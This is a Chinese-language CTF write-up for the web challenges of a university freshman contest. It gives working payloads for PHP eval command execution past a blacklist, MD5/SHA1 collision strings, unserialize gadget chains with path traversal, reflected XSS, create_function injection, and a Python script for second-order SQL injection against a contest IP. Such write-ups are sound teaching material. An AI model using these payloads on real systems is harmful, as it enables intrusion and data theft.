xmu新生赛web wp
ez_md5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ ); include 'flag.php' ; if (isset ($_GET ['name' ]) && isset ($_POST ['password' ])){ $name = $_GET ['name' ]; $password = $_POST ['password' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ echo $flag ; } else { echo "wrong!" ; } } else { echo 'wrong!' ; } ?> wrong!
输入两个md5一样的值就可以了 payload:
ez_rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 居然都不输入参数,可恶!!!!!!!!! <?php if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$code )){ echo '看看你输入的参数!!!不叫样子!!' ;echo '<br>' ; eval ($code ); } else { die ("你想干什么?????????" ); } } else { echo "居然都不输入参数,可恶!!!!!!!!!" ; show_source (__FILE__ ); }
这里禁用了很多函数,但是显然还是没有禁完,可以用反引号或者exec执行命令,然后用print_r函数让结果回显 如?code=print_r(exec("whoami"));
下一步就是找到flag位置 ?code=print_r(exec("find%20/"));
这个命令可以获取根目录下面的文件,这里只能获取到一个文件/fffffffffflagafag
然后用nl命令查看就可以了
ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php show_source (__FILE__ );$username = "this_is_secret" ; $password = "this_is_not_known_to_you" ; include ("flag.php" );$info = isset ($_GET ['info' ])? $_GET ['info' ]: "" ;$data_unserialize = unserialize ($info );if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }else { echo "username or password error!" ; } ?> username or password error!
这里就是把传入的info数据反序列化 如果反序列化出来的值和题目要求的一样就可以 payload
1 2 3 4 5 6 7 8 <?php $data = array ( "username" => "this_is_secret" , "password" => "this_is_not_known_to_you" ); echo serialize ($data );
a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}
签到
打开f12 在注释里找到第一段flag 然后在网络中的标头里面找到flag字段对应flag的第二段
前女友 查看页面源代码 有一个code.txt可以跳转,得到一段php代码
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; $v3 = $_GET ['v3' ]; if ($v1 != $v2 && md5 ($v1 ) == md5 ($v2 )){ if (!strcmp ($v3 , $flag )){ echo $flag ; } } } ?>
这里关键让strcmp()的返回值是0就好,这里就让v3是一个数组,这样就可以返回null payload: ?v1=240610708&v2=QNKCDZO&v3[]=1
d0_U_kn0W_XSS 这题只要==触发xss就可以了 ?id=<script>alert(1)</script>
然后在注释中找到flag
Leveling up level1 注释中出现disallow:
的提示,所以查看robots.txt 得到第二关的地址level_2_1s_h3re.php
level2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (md5 ($a1 ) === md5 ($a2 )){ echo $level3 ; } else { die ("level 2 failed ..." ); } } else { show_source (__FILE__ ); } ?>
这里要a1不等于a2 ,但是md5是强等于,之前做的都是弱比较,在网上搜php md5强比较相等可以得到payload
1 a= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %00 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %55 %5 d%83 %60 %fb %5 f%07 %fe %a2 &b= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %02 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %d5 %5 d%83 %60 %fb %5 f%07 %fe %a2
这里传参的时候 把a b改成array1 和array2 然后要用bp传,hackbar有长度限制 还要注意GET请求改成POST请求要加上Content-Type: application/x-www-form-urlencoded
得到第三关的url Level___3.php
level3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (sha1 ($a1 ) === sha1 ($a2 )){ echo $level4 ; } else { die ("level 3 failed ..." ); } } else { show_source (__FILE__ ); } ?>
这和上一关不同的就是md5改成sha1 网上也可以搜到payload
1 array1 = %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 %7 FF%DC %93 %A6 %B6 %7 E%01 %3 B%02 %9 A%AA %1 D%B2V %0 BE%CAg %D6 %88 %C7 %F8K %8 CLy%1 F%E0 %2 B%3 D%F6 %14 %F8m %B1i %09 %01 %C5kE %C1S %0 A%FE %DF %B7 %608 %E9rr /%E7 %ADr %8 F%0 EI%04 %E0F %C20W %0 F%E9 %D4 %13 %98 %AB %E1. %F5 %BC %94 %2 B%E35B %A4 %80 -%98 %B5 %D7 %0 F%2 A3 .%C3 %7 F%AC5 %14 %E7M %DC %0 F%2 C%C1 %A8t %CD %0 Cx0 Z%21 Vda0 %97 %89 %60 k%D0 %BF %3 F%98 %CD %A8 %04 F%29 %A1 &array2 = %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 sF%DC %91 f%B6 %7 E%11 %8 F%02 %9 A%B6 %21 %B2V %0 F%F9 %CAg %CC %A8 %C7 %F8 %5 B%A8Ly %03 %0 C%2 B%3 D%E2 %18 %F8m %B3 %A9 %09 %01 %D5 %DFE %C1O %26 %FE %DF %B3 %DC8 %E9j %C2 /%E7 %BDr %8 F%0 EE%BC %E0F %D2 %3 CW%0 F%EB %14 %13 %98 %BBU. %F5 %A0 %A8 %2 B%E31 %FE %A4 %807 %B8 %B5 %D7 %1 F%0 E3 .%DF %93 %AC5 %00 %EBM %DC %0 D%EC %C1 %A8dy %0 Cx%2 Cv%21 V%60 %DD0 %97 %91 %D0k %D0 %AF %3 F%98 %CD %A4 %BCF %29 %B1
一样用bp发post包 得到第四关url level_level_4.php
level4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 ); include "str.php" ; show_source (__FILE__ ); $str = parse_url ($_SERVER ['REQUEST_URI' ]); if ($str ['query' ] == "" ){ echo "give me a parameter" ; } if (preg_match ('/ |_|20|5f|2e|\./' ,$str ['query' ])){ die ("blacklist here" ); } if ($_GET ['NI_SA_' ] === "txw4ever" ){ die ($level5 ); } else { die ("level 4 failed ..." ); } ?> give me a parameterlevel 4 failed ...
这里过滤了空格 下划线 点 这里要了解一下php中的特性:php中用get和post传入的参数如果有.和空格会转换成下划线_,如果是+号会转换成空格 所以先用+号变成空格 再利用空格就可以转换出下划线 payload ?NI+SA+=txw4ever
第五关url 55_5_55.php
level5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );include "str.php" ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match ('/^[a-z0-9_]*$/isD' ,$a )){ show_source (__FILE__ ); } else { $a ('' ,$b ); }
这里看似过滤了a字母和数字 但是过滤是以字母和数字开头的 所以可以用\绕过 然后后面调用函数$a
参数$b
这里可以通过\create_function调用全局函数,并且绕过waf,然后b用}
闭合插入想要执行的命令,最后/*
注释后面的内容 payload a=\create_function&b=}system('你想执行的命令');/*
Leveling up up up! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php highlight_file (__FILE__ );include 'flag.php' ;error_reporting (0 );header ("Content-type:text/html;charset=utf-8" );if (isset ($_POST ['gdou' ])&&isset ($_POST ['ctf' ])){ $b =$_POST ['ctf' ]; $a =$_POST ['gdou' ]; if ($_POST ['gdou' ]!=$_POST ['ctf' ] && md5 ($a )===md5 ($b )){ if (isset ($_COOKIE ['cookie' ])){ if ($_COOKIE ['cookie' ]=='j0k3r' ){ if (isset ($_GET ['aaa' ]) && isset ($_GET ['bbb' ])){ $aaa =$_GET ['aaa' ]; $bbb =$_GET ['bbb' ]; if ($aaa ==114514 && $bbb ==114514 && $aaa !=$bbb ){ $give = 'cancanneedflag' ; $get ='FuckUhacker!' ; if (isset ($_GET ['flag' ]) && isset ($_POST ['flag' ])){ die ($give ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ die ($get ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo $flag ; }else { echo "洗洗睡吧" ; } }else { echo "行不行啊细狗" ; } } } else { echo '菜菜' ; } }else { echo "就这?" ; } }else { echo "你很弱欸" ; } ?> 你很弱欸
这种题目要一步一步做,然后看有没有正确的回显 第一步的条件是if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b))
这个和上面做的那个md5强比较一样 看到返回的字段和之前不一样就说明通过了这个验证 第二步if ($_COOKIE['cookie']=='j0k3r')
直接在发送的包里面加上cookie就可以了 第三步
1 2 3 4 if (isset ($_GET ['aaa' ]) && isset ($_GET ['bbb' ])){ $aaa =$_GET ['aaa' ]; $bbb =$_GET ['bbb' ]; if ($aaa ==114514 && $bbb ==114514 && $aaa !=$bbb )
这里利用php中的弱比较,这里aaa bbb不能一样 但是要都等于同一个数字,可以用字符串,字符串在和数字比较的时候会转换成数字 最后一步
1 2 3 4 5 6 7 8 9 10 if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ die ($get ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo $flag ;
这里的flag不能直接就等于flag,要利用一个中间变量然后让post中传入flag=x
让这个中间变量x存flag的原来的值,然后在get中传入x=flag
又会让flag恢复原来的值,这样就能绕过变量覆盖
pklovecloud 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 you know where I am <?php include 'flag.php' ;class pkshow { function echo_name ( ) { return "Pk very safe^.^" ; } } class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ( ) { $this ->cinder = new pkshow; } function __toString ( ) { if (isset ($this ->cinder)) return $this ->cinder->echo_name (); } } class ace { public $filename ; public $openstack ; public $docker ; function echo_name ( ) { $this ->openstack = unserialize ($this ->docker); $this ->openstack->neutron = $heat ; if ($this ->openstack->neutron === $this ->openstack->nova) { $file = "./{$this->filename} " ; if (file_get_contents ($file )) { return file_get_contents ($file ); } else { return "keystone lost~" ; } } } } if (isset ($_GET ['pks' ])) { $logData = unserialize ($_GET ['pks' ]); echo $logData ; } else { highlight_file (__file__); } ?>
这里最后要用到的是这里return file_get_contents($file);
读取文件的内容。然后能进入这里的条件是$this->openstack->neutron === $this->openstack->nova
而 $this->openstack->neutron = $heat
heat是这个类里没有的变量名,所以这个的值是null那现在就让$this->openstack->nova
也等于null 那再往外看一层,找到调用echo_name
的地方,发现是在acp类中的toString函数,这个会会在下面类定义完之后的echo $logData;
会调用,所以传入的反序列化的参数应该是acp类 最后有一个小心的点是读文件的时候$file = "./{$this->filename}";
这里前面有./是相对路径,所以要路径穿越 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ($a ) { $this ->cinder = $a ; } } class ace { public $filename ; public $openstack ; public $docker ; } $a = new acp ("" ); $a ->neutron = NULL ;$a ->nova = NULL ;$b = new ace ();$b ->filename='../../../../xmuctfasdasdflag' ;$c =new acp ($b ); echo urlencode (serialize ($c ));
这是先创建一个acp类,传入的参数是空,然后让另外两个变量是null,这样让下面创建的ace类b中两个值都是null,进入文件读取,然后最后再创建一个acp类作为传入的参数。
unfinish 题目介绍:看到登陆框要干嘛? 进入页面发现是一个登录框,并且在的界面是login.php 尝试登录,发现邮箱这块有验证,必须是常见的邮箱格式 简单扫描一下,发现存在一个注册界面 register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 ┌──(root㉿kakeru)-[~/ tmp] └─ / usr/ lib/ python3/ dist-packages/ dirsearch/ dirsearch.py:23 : DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_|| | _) (/ _(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/tmp/reports/http_58.199.64.88_10031/__25-05-10_11-18-46.txt Target: http:// 58.199 .64.88 :10031 / [11 :18 :46 ] Starting: [11 :18 :47 ] 403 - 293 B - /.ht_wsr.txt [11 :18 :47 ] 403 - 296 B - /.htaccess.bak1 [11 :18 :47 ] 403 - 296 B - /.htaccess.orig [11 :18 :47 ] 403 - 298 B - /.htaccess.sample [11 :18 :47 ] 403 - 296 B - /.htaccess.save [11 :18 :47 ] 403 - 297 B - /.htaccess_extra [11 :18 :47 ] 403 - 296 B - /.htaccess_orig [11 :18 :47 ] 403 - 294 B - /.htaccessBAK [11 :18 :47 ] 403 - 294 B - /.htaccess_sc [11 :18 :47 ] 403 - 294 B - /.htaccessOLD [11 :18 :47 ] 403 - 295 B - /.htaccessOLD2 [11 :18 :47 ] 403 - 287 B - /.html [11 :18 :47 ] 403 - 286 B - /.htm [11 :18 :47 ] 403 - 296 B - /.htpasswd_test [11 :18 :47 ] 403 - 292 B - /.htpasswds [11 :18 :47 ] 403 - 293 B - /.httr-oauth [11 :18 :48 ] 403 - 286 B - /.php [11 :18 :48 ] 403 - 287 B - /.php3 [11 :18 :52 ] 200 - 0 B - /config.php [11 :18 :54 ] 301 - 320 B - /fonts -> http:// 58.199 .64.88 :10031 / fonts/ [11 :18 :54 ] 301 - 321 B - /images -> http:// 58.199 .64.88 :10031 / images/ [11 :18 :54 ] 403 - 289 B - / images/ [11 :18 :55 ] 200 - 661 B - /login.php [11 :18 :58 ] 200 - 708 B - /register.php [11 :18 :59 ] 403 - 296 B - / server-status/ [11 :18 :59 ] 403 - 295 B - /server-status [11 :19 :01 ] 301 - 322 B - /uploads -> http:// 58.199 .64.88 :10031 / uploads/ [11 :19 :01 ] 403 - 290 B - / uploads/ Task Completed
注册界面多了一个username参数,这里应该就是一个注入点,接着用bp跑一下过滤了什么东西,这里注意邮箱每次都要换 这里要先选username里面做第一个扫描位置,然后第二个扫描位置选邮箱前面的数字,这样子爆破的时候才会让参数和数字都不一样
发现过滤了有 INFORMATION 逗号 %0a 既然有登录界面,很有可能是二阶注入,在我的sql总结博客中也有说过 我们先做个尝试,先试出怎么闭合的,所以先注册一个账号 注册的账号是1'
无法登录 如果是1''
可以登录,说明用的是单引号闭合。登录后用户名是有回显的 所以是可以利用二阶注入,简单来说就是我们在注册时,用户名中带有sql处理的语句,注册后会执行,然后再登录可以看到结果 这里还有一个很大的问题,就是注释没法用,解决办法是在sql中中的字符运算 可以把想要执行的语句用ascii转换结果然后拼接 比如我在用户名输入0'+ascii(substr(database() from {} for 1))+'0
原来的语句是'$username'
这样,所以用第一引号闭合前面的引号,用第二引号闭合后面的引号,变成’0’ + database第一个字符 + ‘0’ 注册后登陆,发现确实有了 119 对应的就是w 下一步就可以写脚本了,先注册,然后登陆,找到username的值 我的脚本水平太烂了,写了一个大致的,然后让gpt优化了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import requestsfrom bs4 import BeautifulSoupimport randomimport timeurl_register = "http://58.199.64.88:10059//register.php" url_login = "http://58.199.64.88:10059//login.php" result = '' prev = '' headers = { "Origin" : "http://58.199.64.88:10059" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } for i in range (1 , 100 ): session = requests.Session() payload = f"0'+ascii(substr(database() from {i} for 1))+'0" email = f"ssss@qq.com{i} " password = "1" data_register = { "email" : email, "username" : payload, "password" : password } session.post(url_register, headers=headers, data=data_register) data_login = { "email" : email, "password" : password } response = session.post(url_login, headers=headers, data=data_login) soup = BeautifulSoup(response.text, 'html.parser' ) name_span = soup.find('span' , class_='user-name' ) if not name_span: print ("[-] Failed to find user-name span." ) break name_text = name_span.get_text(strip=True ) if name_text != '0' : try : char = chr (int (name_text)) result += char print (f"[+] {i} : {char} -> {result} " ) except : print (f"[-] Failed to convert {name_text} to ASCII char." ) break if result.strip() == prev.strip(): break print ("[+] Database name:" , result)
得到结果
1 2 3 4 5 6 (base) kakeru@bogon python % python -u "/Users/kakeru/python/tmp.py" [+] 1 : w -> w [+] 2 : e -> we [+] 3 : b -> web [+] Database name : web (base) kakeru@bogon python %
所以数据库名字是web 但是又卡住我很久,因为information这个被禁了,没法查到数据表。不过之前我遇到过的类似情况是就算有表但是不对应真正有flag的表 解决方法是直接尝试表名 很多时候flag这个就是表名,在这题里就是这样的。 payload 修改成f"0'+ascii(substr((select * from flag) from {i} for 1))+'0"
注意邮箱也要修改一下,不然就重复注册了 运行之后得到flag